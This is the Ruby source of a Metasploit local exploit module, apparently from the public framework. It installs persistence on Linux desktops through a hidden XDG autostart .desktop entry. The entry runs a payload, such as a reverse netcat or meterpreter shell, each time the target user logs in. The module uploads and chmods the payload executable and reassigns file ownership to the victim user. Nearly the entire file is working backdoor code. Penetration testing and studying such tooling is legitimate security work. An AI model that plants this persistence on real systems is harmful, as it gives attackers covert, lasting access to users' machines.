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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Unix
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  include Msf::Exploit::EXE # for generate_payload_exe
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  include Msf::Exploit::FileDropper
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  include Msf::Post::Linux::User
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  include Msf::Exploit::Local::Persistence
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Deprecated
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  moved_from 'exploits/linux/local/autostart_persistence'
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Autostart Desktop Item Persistence',
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        'Description' => %q{
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          This module will create an autostart .desktop entry to execute a payload.
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          The payload will be executed when the users logs in.
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          Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
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          The following payloads were used in testing:
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          - cmd/unix/reverse_netcat
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          - linux/x64/meterpreter/reverse_tcp
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          - cmd/linux/http/x64/meterpreter/reverse_tcp
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Eliott Teissonniere' ],
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        'Platform' => [ 'unix', 'linux' ],
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        'Arch' => [
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          ARCH_CMD,
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          ARCH_X86,
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          ARCH_X64,
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          ARCH_ARMLE,
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          ARCH_AARCH64,
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          ARCH_PPC,
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          ARCH_MIPSLE,
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          ARCH_MIPSBE
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        ],
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        'Payload' => {
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          'BadChars' => '#%\n"'
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        },
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
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        'Targets' => [['Automatic', {}]],
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        'DefaultTarget' => 0,
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        'References' => [
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          ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],
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          ['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        }
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      )
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    )
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    register_options([
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      OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),
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      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
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      OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
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    ])
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  end
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  def check
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    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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    # https://unix.stackexchange.com/a/237750
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    return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
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    CheckCode::Detected('Xorg is installed, possible desktop install.')
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  end
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  def target_user
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    return datastore['USER'] unless datastore['USER'].blank?
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    whoami
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  end
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  def install_persistence
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    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'
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    user = target_user
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    home = get_home_dir(user)
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    vprint_status('Making sure the autostart directory exists')
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    cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
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    name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
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    path = "#{home}/.config/autostart/#{name}.desktop"
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    print_status("Uploading autostart file #{path}")
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    autostart_stub = [
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      '[Desktop Entry]',
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      'Type=Application',
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      "Name=#{name}",
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      'NoDisplay=true',
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      'Terminal=false'
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    ]
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    if payload.arch.first == 'cmd'
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      write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
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    else
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      payload_path = writable_dir
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      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
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      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
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      payload_path << payload_name
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      print_status("Uploading payload file to #{payload_path}")
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      upload_and_chmodx payload_path, generate_payload_exe
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      write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
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      @clean_up_rc << "rm #{payload_path}\n"
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    end
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    if whoami != user
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      cmd_exec("chown #{user}:#{user} #{path}")
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      unless payload.arch.first == 'cmd'
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        cmd_exec("chown #{user}:#{user} #{payload_path}")
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      end
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    end
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    print_good("Backdoor will run on next login by #{user}")
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    @clean_up_rc << "rm #{path}\n"
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  end
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end
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